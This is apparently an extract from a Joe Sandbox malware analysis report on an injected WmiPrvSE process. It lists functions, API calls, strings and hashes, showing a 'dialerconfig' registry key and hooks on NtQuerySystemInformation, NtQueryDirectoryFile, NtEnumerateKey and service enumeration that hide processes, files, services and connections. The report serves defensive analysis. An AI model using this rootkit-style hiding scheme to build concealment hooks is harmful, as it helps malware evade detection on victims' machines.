Instruction Fuzzy Hash: 99118B71614F21A2FBB09F21B80CF5D22B4A744314F60412B9A4A859B1EFB8F3CC8740

Function 000002C5CCF71ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000002C5CCF71628: GetProcessHeap.KERNEL32 ref: 000002C5CCF71633
Part of subcall function 000002C5CCF71628: HeapAlloc.KERNEL32 ref: 000002C5CCF71642
Part of subcall function 000002C5CCF71628: RegOpenKeyExW.ADVAPI32 ref: 000002C5CCF716B2
Part of subcall function 000002C5CCF71628: RegOpenKeyExW.ADVAPI32 ref: 000002C5CCF716DF
Part of subcall function 000002C5CCF71628: RegCloseKey.ADVAPI32 ref: 000002C5CCF716F9
Part of subcall function 000002C5CCF71628: RegOpenKeyExW.ADVAPI32 ref: 000002C5CCF71719
Part of subcall function 000002C5CCF71628: RegCloseKey.ADVAPI32 ref: 000002C5CCF71734
Part of subcall function 000002C5CCF71628: RegOpenKeyExW.ADVAPI32 ref: 000002C5CCF71754
Part of subcall function 000002C5CCF71628: RegCloseKey.ADVAPI32 ref: 000002C5CCF7176F
Part of subcall function 000002C5CCF71628: RegOpenKeyExW.ADVAPI32 ref: 000002C5CCF7178F
Part of subcall function 000002C5CCF71628: RegCloseKey.ADVAPI32 ref: 000002C5CCF717AA
Part of subcall function 000002C5CCF71628: RegOpenKeyExW.ADVAPI32 ref: 000002C5CCF717CA

Sleep.KERNEL32 ref: 000002C5CCF71AD7
SleepEx.KERNELBASE ref: 000002C5CCF71ADD

Part of subcall function 000002C5CCF71628: RegCloseKey.ADVAPI32 ref: 000002C5CCF717E5
Part of subcall function 000002C5CCF71628: RegOpenKeyExW.ADVAPI32 ref: 000002C5CCF71805
Part of subcall function 000002C5CCF71628: RegCloseKey.ADVAPI32 ref: 000002C5CCF71820
Part of subcall function 000002C5CCF71628: RegOpenKeyExW.ADVAPI32 ref: 000002C5CCF71840
Part of subcall function 000002C5CCF71628: RegCloseKey.ADVAPI32 ref: 000002C5CCF7185B
Part of subcall function 000002C5CCF71628: RegOpenKeyExW.ADVAPI32 ref: 000002C5CCF7187B
Part of subcall function 000002C5CCF71628: RegCloseKey.ADVAPI32 ref: 000002C5CCF71896
Part of subcall function 000002C5CCF71628: RegCloseKey.ADVAPI32 ref: 000002C5CCF718A0

Memory Dump Source

Source File: 00000003.00000002.3080943393.000002C5CCF70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002C5CCF70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf70000_WmiPrvSE.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: a4f102d8383056bbea95915e366e118465734705d205fcb0c3fa3ad5464cc09f
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: B531BC61200F6182FF549F2ADA49AAD13B4AB84BD0F04A5239E0DC76B5FF14F6D9C350

Function 000002C5CCF73844 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpNIW.SHLWAPI ref: 000002C5CCF7385C

Strings

dialer, xrefs: 000002C5CCF73855

Memory Dump Source

Source File: 00000003.00000002.3080943393.000002C5CCF70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002C5CCF70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf70000_WmiPrvSE.jbxd

Similarity

API ID:
String ID: dialer
API String ID: 0-3528709123
Opcode ID: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
Instruction ID: 2b198737b1e3ffa9bd87ec3077cf84c69e3f3e5ca7b75950e633d0e13ceed80b
Opcode Fuzzy Hash: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
Instruction Fuzzy Hash: 1DD0A761311F26D6FF14DFA6C8CCE6C2361EB04744F884062C90005270DB68FBCD9710

Function 000002C5CCF4273C Relevance: 1.7, APIs: 1, Instructions: 187
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 000002C5CCF4285E

Memory Dump Source

Source File: 00000003.00000002.3079935051.000002C5CCF40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002C5CCF40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf40000_WmiPrvSE.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: 0ac2824bd3abc25ed4b105cc25e93931c0c6ee0192761c6853b67d4cd4dc1ae0
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: CB610132B01FA487EB58CF15D048B2DB3A2FB54BA4F588172DE5907798DA38F992D700

Non-executed Functions

Function 000002C5CCF72B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 000002C5CCF72BD0
lstrlenW.KERNEL32 ref: 000002C5CCF72E0A

Part of subcall function 000002C5CCF7199C: OpenProcess.KERNEL32 ref: 000002C5CCF719C2
Part of subcall function 000002C5CCF7199C: K32GetModuleFileNameExW.KERNEL32 ref: 000002C5CCF719E0
Part of subcall function 000002C5CCF7199C: PathFindFileNameW.SHLWAPI ref: 000002C5CCF719EF
Part of subcall function 000002C5CCF7199C: lstrlenW.KERNEL32 ref: 000002C5CCF719FB
Part of subcall function 000002C5CCF7199C: StrCpyW.SHLWAPI ref: 000002C5CCF71A0E
Part of subcall function 000002C5CCF7199C: CloseHandle.KERNEL32 ref: 000002C5CCF71A1C

GetProcAddress.KERNEL32 ref: 000002C5CCF72BE5

Part of subcall function 000002C5CCF7152C: StrCmpIW.SHLWAPI ref: 000002C5CCF7155D

Part of subcall function 000002C5CCF73844: StrCmpNIW.SHLWAPI ref: 000002C5CCF7385C

StrCmpNIW.SHLWAPI ref: 000002C5CCF72C28
lstrlenW.KERNEL32 ref: 000002C5CCF72D50

Strings

ntdll.dll, xrefs: 000002C5CCF72BC9
NtQueryObject, xrefs: 000002C5CCF72BDB
\Device\Nsi, xrefs: 000002C5CCF72C1B

Memory Dump Source

Source File: 00000003.00000002.3080943393.000002C5CCF70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002C5CCF70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf70000_WmiPrvSE.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: ee8352752450ca50ba828086874caefb3b7b09da596e9e2bebcd40f2e5328520
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: 5EB14662220FA182FBA88F25D548BAD63B5FB44B94F445017EA49977A5EF34FAC0C740

Function 000002C5CCF77D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 000002C5CCF77DAC
RtlCaptureContext.NTDLL ref: 000002C5CCF77DD9
RtlLookupFunctionEntry.NTDLL ref: 000002C5CCF77DF3
RtlVirtualUnwind.NTDLL ref: 000002C5CCF77E34
IsDebuggerPresent.KERNEL32 ref: 000002C5CCF77E88
SetUnhandledExceptionFilter.KERNEL32 ref: 000002C5CCF77EA9
UnhandledExceptionFilter.KERNEL32 ref: 000002C5CCF77EB4

Memory Dump Source

Source File: 00000003.00000002.3080943393.000002C5CCF70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002C5CCF70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf70000_WmiPrvSE.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: c41c88ce3c41cb50e426ffaf9fe1a02a707a435d09a99e30fd8d7638b037e576
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: 6A311A72215F908AFB609F60E844BED6375F785744F44442ADA4D57BA4EF38E688C710

Function 000002C5CCF72F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002C5CCF72F27
HeapAlloc.KERNEL32 ref: 000002C5CCF72F3A
StrCmpNIW.SHLWAPI ref: 000002C5CCF72FAF
GetProcessHeap.KERNEL32 ref: 000002C5CCF73015
HeapFree.KERNEL32 ref: 000002C5CCF73023

Strings

dialer, xrefs: 000002C5CCF72FA8

Memory Dump Source

Source File: 00000003.00000002.3080943393.000002C5CCF70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002C5CCF70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf70000_WmiPrvSE.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: 152facd192f523f2df585c48c1513db5d898d7f1e4961e2e8fdd46ed25a77f36
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: F5318D22701F61D2FA14DF16E548B6E67A0FB44B84F0880229E4847B76EF38F6E58740

Function 000002C5CCF7D2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 000002C5CCF7D31D
RtlLookupFunctionEntry.NTDLL ref: 000002C5CCF7D335
RtlVirtualUnwind.NTDLL ref: 000002C5CCF7D370
IsDebuggerPresent.KERNEL32 ref: 000002C5CCF7D3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 000002C5CCF7D3B3
UnhandledExceptionFilter.KERNEL32 ref: 000002C5CCF7D3BE

Memory Dump Source

Source File: 00000003.00000002.3080943393.000002C5CCF70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002C5CCF70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf70000_WmiPrvSE.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: 0a2ee12668bc25c161af6cf81985824a782016ae4975c3f8164ef7d80c01d4f5
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: 19315E32214F9086EB60CF25E844B9E73B4F789754F500126EA9D47BA8DF38E695CB00

Function 000002C5CCF77960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 000002C5CCF7798C
GetCurrentThreadId.KERNEL32 ref: 000002C5CCF7799A
GetCurrentProcessId.KERNEL32 ref: 000002C5CCF779A6
QueryPerformanceCounter.KERNEL32 ref: 000002C5CCF779B6

Memory Dump Source

Source File: 00000003.00000002.3080943393.000002C5CCF70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002C5CCF70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf70000_WmiPrvSE.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: 70a19f2f641c07b57ee929879b9e50c10e578b9664e7860f57f6490abbeac581
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: 7C112E22710F1189FF10CF60E8597AC33A4F719B58F440E22DA6D867B5DB78E2D88380

Function 000002C5CCF844A8 Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 000002C5CCF846F7
RaiseException.KERNEL32 ref: 000002C5CCF84708

Memory Dump Source

Source File: 00000003.00000002.3080943393.000002C5CCF70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002C5CCF70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf70000_WmiPrvSE.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: 91c45a23742243141810e6f77c67a66073dfa56da4d49e6a277af36b1acf7cf1
Instruction ID: a687499b3177b6911dbd628479040c6645a6e84e9485165fbf9a035658cdd4d6
Opcode Fuzzy Hash: 91c45a23742243141810e6f77c67a66073dfa56da4d49e6a277af36b1acf7cf1
Instruction Fuzzy Hash: 80B14D77600F948BEB15CF29C85A75C7BA0F345B48F158912DBA987BB8CB39E591CB00

Function 000002C5CCF538A8 Relevance: 1.7, APIs: 1, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 000002C5CCF53AF7

Memory Dump Source

Source File: 00000003.00000002.3079935051.000002C5CCF40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002C5CCF40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf40000_WmiPrvSE.jbxd

Similarity

API ID: _clrfp
String ID:
API String ID: 3618594692-0
Opcode ID: 91c45a23742243141810e6f77c67a66073dfa56da4d49e6a277af36b1acf7cf1
Instruction ID: df4cbedd7efb455547f9b6b31b6d37ffcb6b75eee55f6367526c8bf05b81cb65
Opcode Fuzzy Hash: 91c45a23742243141810e6f77c67a66073dfa56da4d49e6a277af36b1acf7cf1
Instruction Fuzzy Hash: 62B15977600F988AEB19CF2DC88A75C7BA0F344B48F158916DB99837B4CB79E595C700

Function 000002C5CCF7DCE0 Relevance: 1.6, APIs: 1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3080943393.000002C5CCF70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002C5CCF70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf70000_WmiPrvSE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29975c57d01bdb1e687cc302dc7d7dc5a8663a128fa1f3b93342ad94a271d3ec
Instruction ID: 6c5fe7a1bf82b78158df1c24e5c8dcc6986c349fad925fd5e7fed8855ad84b95
Opcode Fuzzy Hash: 29975c57d01bdb1e687cc302dc7d7dc5a8663a128fa1f3b93342ad94a271d3ec
Instruction Fuzzy Hash: 1251CA22700FA089FB20DF72A948B9E7BB5F7447D4F544116EE5867BA5DB38E681C700

Function 000002C5CCF41F2C Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3079935051.000002C5CCF40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002C5CCF40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf40000_WmiPrvSE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ede98a6d8d02e88a1d8b84a5c6c80a15dedc9657b0a7b1a34b363c45f1d0dee8
Instruction ID: cc0c05f899f80cb833d3a231cfb0464e4a1ec6e382a2566460e41e792964ab67
Opcode Fuzzy Hash: ede98a6d8d02e88a1d8b84a5c6c80a15dedc9657b0a7b1a34b363c45f1d0dee8
Instruction Fuzzy Hash: C8B15C62220FA086FB65CF25D848BAD63A4F784B98F445067EE4953BA4DB35FBC1C740

Function 000002C5CCF4D0E0 Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3079935051.000002C5CCF40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002C5CCF40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf40000_WmiPrvSE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29975c57d01bdb1e687cc302dc7d7dc5a8663a128fa1f3b93342ad94a271d3ec
Instruction ID: f7e3616e1c8363b452760c0916d2d166974f17424fb2bffa287e51f1d6313e4e
Opcode Fuzzy Hash: 29975c57d01bdb1e687cc302dc7d7dc5a8663a128fa1f3b93342ad94a271d3ec
Instruction Fuzzy Hash: 8D51DA22700FA085FB20DF72E848B9E7BA5F7447D4F144156EE5927BA5DB38E681C700

Function 000002C5CCF536F0 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3079935051.000002C5CCF40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002C5CCF40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf40000_WmiPrvSE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06df2142d5dd0183fd0e01b7d5608ecb5bc0210788fa76ce78b9fbce82fbb0aa
Instruction ID: c21025887cad8662608b05060026ef5bdb99ddd268cb3de46854d4915831384e
Opcode Fuzzy Hash: 06df2142d5dd0183fd0e01b7d5608ecb5bc0210788fa76ce78b9fbce82fbb0aa
Instruction Fuzzy Hash: 82F0F472615A649EEB988F28A446B597791F348384FD0811AD68983A14D63CE591CF04

Function 000002C5CCF71628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000002C5CCF71633
HeapAlloc.KERNEL32 ref: 000002C5CCF71642

Part of subcall function 000002C5CCF71268: GetProcessHeap.KERNEL32 ref: 000002C5CCF7126E
Part of subcall function 000002C5CCF71268: HeapAlloc.KERNEL32 ref: 000002C5CCF7127D
Part of subcall function 000002C5CCF71268: GetProcessHeap.KERNEL32 ref: 000002C5CCF71297
Part of subcall function 000002C5CCF71268: HeapAlloc.KERNEL32 ref: 000002C5CCF712A8

RegOpenKeyExW.ADVAPI32 ref: 000002C5CCF716B2
RegOpenKeyExW.ADVAPI32 ref: 000002C5CCF716DF
RegCloseKey.ADVAPI32 ref: 000002C5CCF716F9
RegOpenKeyExW.ADVAPI32 ref: 000002C5CCF71719
RegCloseKey.ADVAPI32 ref: 000002C5CCF71734
RegOpenKeyExW.ADVAPI32 ref: 000002C5CCF71754
RegCloseKey.ADVAPI32 ref: 000002C5CCF7176F
RegOpenKeyExW.ADVAPI32 ref: 000002C5CCF7178F
RegCloseKey.ADVAPI32 ref: 000002C5CCF717AA
RegOpenKeyExW.ADVAPI32 ref: 000002C5CCF717CA
RegCloseKey.ADVAPI32 ref: 000002C5CCF717E5
RegOpenKeyExW.ADVAPI32 ref: 000002C5CCF71805
RegCloseKey.ADVAPI32 ref: 000002C5CCF71820
RegOpenKeyExW.ADVAPI32 ref: 000002C5CCF71840
RegCloseKey.ADVAPI32 ref: 000002C5CCF7185B
RegOpenKeyExW.ADVAPI32 ref: 000002C5CCF7187B
RegCloseKey.ADVAPI32 ref: 000002C5CCF71896
RegCloseKey.ADVAPI32 ref: 000002C5CCF718A0

Part of subcall function 000002C5CCF712BC: RegQueryInfoKeyW.ADVAPI32 ref: 000002C5CCF71319
Part of subcall function 000002C5CCF712BC: GetProcessHeap.KERNEL32 ref: 000002C5CCF71327
Part of subcall function 000002C5CCF712BC: HeapAlloc.KERNEL32 ref: 000002C5CCF71338
Part of subcall function 000002C5CCF712BC: RegEnumValueW.ADVAPI32 ref: 000002C5CCF71397
Part of subcall function 000002C5CCF712BC: GetProcessHeap.KERNEL32 ref: 000002C5CCF713DF
Part of subcall function 000002C5CCF712BC: HeapAlloc.KERNEL32 ref: 000002C5CCF713ED
Part of subcall function 000002C5CCF712BC: GetProcessHeap.KERNEL32 ref: 000002C5CCF7140A
Part of subcall function 000002C5CCF712BC: HeapFree.KERNEL32 ref: 000002C5CCF71418
Part of subcall function 000002C5CCF712BC: lstrlenW.KERNEL32 ref: 000002C5CCF71421
Part of subcall function 000002C5CCF712BC: GetProcessHeap.KERNEL32 ref: 000002C5CCF7142F
Part of subcall function 000002C5CCF712BC: HeapAlloc.KERNEL32 ref: 000002C5CCF7143D

Strings

tcp_local, xrefs: 000002C5CCF717FE
process_names, xrefs: 000002C5CCF7174D
pid, xrefs: 000002C5CCF71712
SOFTWARE\dialerconfig, xrefs: 000002C5CCF71692
service_names, xrefs: 000002C5CCF717C3
startup, xrefs: 000002C5CCF716D5
paths, xrefs: 000002C5CCF71788
udp, xrefs: 000002C5CCF71874
tcp_remote, xrefs: 000002C5CCF71839

Memory Dump Source

Source File: 00000003.00000002.3080943393.000002C5CCF70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002C5CCF70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf70000_WmiPrvSE.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: daf174247e283e2852de72677f6196f92336cb26a6693c34924f7ed054bb1a24
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: DE71E976210F2186FB20DF65E898A9D23B4FB85B88F005112DD4E87B79DE38E6C8C744

Function 000002C5CCF712BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000002C5CCF71319
GetProcessHeap.KERNEL32 ref: 000002C5CCF71327
HeapAlloc.KERNEL32 ref: 000002C5CCF71338
RegEnumValueW.ADVAPI32 ref: 000002C5CCF71397

Part of subcall function 000002C5CCF7152C: StrCmpIW.SHLWAPI ref: 000002C5CCF7155D

GetProcessHeap.KERNEL32 ref: 000002C5CCF713DF
HeapAlloc.KERNEL32 ref: 000002C5CCF713ED
GetProcessHeap.KERNEL32 ref: 000002C5CCF7140A
HeapFree.KERNEL32 ref: 000002C5CCF71418
lstrlenW.KERNEL32 ref: 000002C5CCF71421
GetProcessHeap.KERNEL32 ref: 000002C5CCF7142F
HeapAlloc.KERNEL32 ref: 000002C5CCF7143D
StrCpyW.SHLWAPI ref: 000002C5CCF7145F
GetProcessHeap.KERNEL32 ref: 000002C5CCF71476
HeapFree.KERNEL32 ref: 000002C5CCF71484

Strings

d, xrefs: 000002C5CCF7135A

Memory Dump Source

Source File: 00000003.00000002.3080943393.000002C5CCF70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002C5CCF70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf70000_WmiPrvSE.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: b0aff870c2623e3f2607c398dca2a1a3fd50e68746f43f7c7d26d8c40c6e1b96
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: B4515B76200F9486FB54CF62E44875E77A1F78AF89F048126DA4A47729DF3CE299C700

Function 000002C5CCF71D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 000002C5CCF71D1F

Part of subcall function 000002C5CCF71FD4: GetModuleHandleA.KERNEL32 ref: 000002C5CCF71FEC
Part of subcall function 000002C5CCF71FD4: GetProcAddress.KERNEL32 ref: 000002C5CCF71FFD

Part of subcall function 000002C5CCF75B30: GetCurrentThreadId.KERNEL32 ref: 000002C5CCF75B6B

Strings

EnumServiceGroupW, xrefs: 000002C5CCF71DF0
NtEnumerateKey, xrefs: 000002C5CCF71DB9
NtQueryDirectoryFile, xrefs: 000002C5CCF71D7F
ntdll.dll, xrefs: 000002C5CCF71D2D
advapi32.dll, xrefs: 000002C5CCF71DF7, 000002C5CCF71E18
NtResumeThread, xrefs: 000002C5CCF71D62
sechost.dll, xrefs: 000002C5CCF71E39
NtEnumerateValueKey, xrefs: 000002C5CCF71DD6
NtQuerySystemInformation, xrefs: 000002C5CCF71D45
EnumServicesStatusExW, xrefs: 000002C5CCF71E11, 000002C5CCF71E32
NtQueryDirectoryFileEx, xrefs: 000002C5CCF71D9C
NtDeviceIoControlFile, xrefs: 000002C5CCF71E56

Memory Dump Source

Source File: 00000003.00000002.3080943393.000002C5CCF70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002C5CCF70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf70000_WmiPrvSE.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: a037ced12b9c9d42a6a4c27664f5d393be4f54c886b12dae0944b1ad029c4802
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: 30318164200F6AA0FE05EF69E869EEC2330BB05764F805063D44956576AF38F7CEC3A0

Function 000002C5CCF46910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000002C5CCF46938
__scrt_acquire_startup_lock.LIBCMT ref: 000002C5CCF4698A
_RTC_Initialize.LIBCMT ref: 000002C5CCF469B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000002C5CCF469DE
__scrt_release_startup_lock.LIBCMT ref: 000002C5CCF46A09

Strings

`dynamic initializer for ', xrefs: 000002C5CCF469C7
`eh vector vbase copy constructor iterator', xrefs: 000002C5CCF469EE
scriptor', xrefs: 000002C5CCF46B39, 000002C5CCF46BB2, 000002C5CCF46BEC
`eh vector copy constructor iterator', xrefs: 000002C5CCF46A3B

Memory Dump Source

Source File: 00000003.00000002.3079935051.000002C5CCF40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002C5CCF40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf40000_WmiPrvSE.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 4e1c1bfffd3de0136a9dfc2d2d379a7bd86e80015c5c01253069dd107aedc90e
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: BC810161700F318AFB54EF66A489F9D26D0EB85780F1480A79A04473B6EB78FBC68700

Function 000002C5CCF7CE28 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 000002C5CCF7CE37
FlsGetValue.KERNEL32(?,?,?,000002C5CCF80A6B,?,?,?,000002C5CCF8045C,?,?,?,000002C5CCF7C84F), ref: 000002C5CCF7CE4C
FlsSetValue.KERNEL32(?,?,?,000002C5CCF80A6B,?,?,?,000002C5CCF8045C,?,?,?,000002C5CCF7C84F), ref: 000002C5CCF7CE6D
FlsSetValue.KERNEL32(?,?,?,000002C5CCF80A6B,?,?,?,000002C5CCF8045C,?,?,?,000002C5CCF7C84F), ref: 000002C5CCF7CE9A
FlsSetValue.KERNEL32(?,?,?,000002C5CCF80A6B,?,?,?,000002C5CCF8045C,?,?,?,000002C5CCF7C84F), ref: 000002C5CCF7CEAB
